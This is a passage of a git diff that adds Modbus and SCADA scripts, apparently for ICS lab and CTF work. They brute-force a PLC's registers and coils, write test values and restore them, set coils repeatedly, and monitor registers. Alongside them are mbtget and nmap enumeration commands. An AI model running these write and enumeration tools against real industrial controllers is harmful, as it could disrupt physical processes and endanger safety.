__DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != 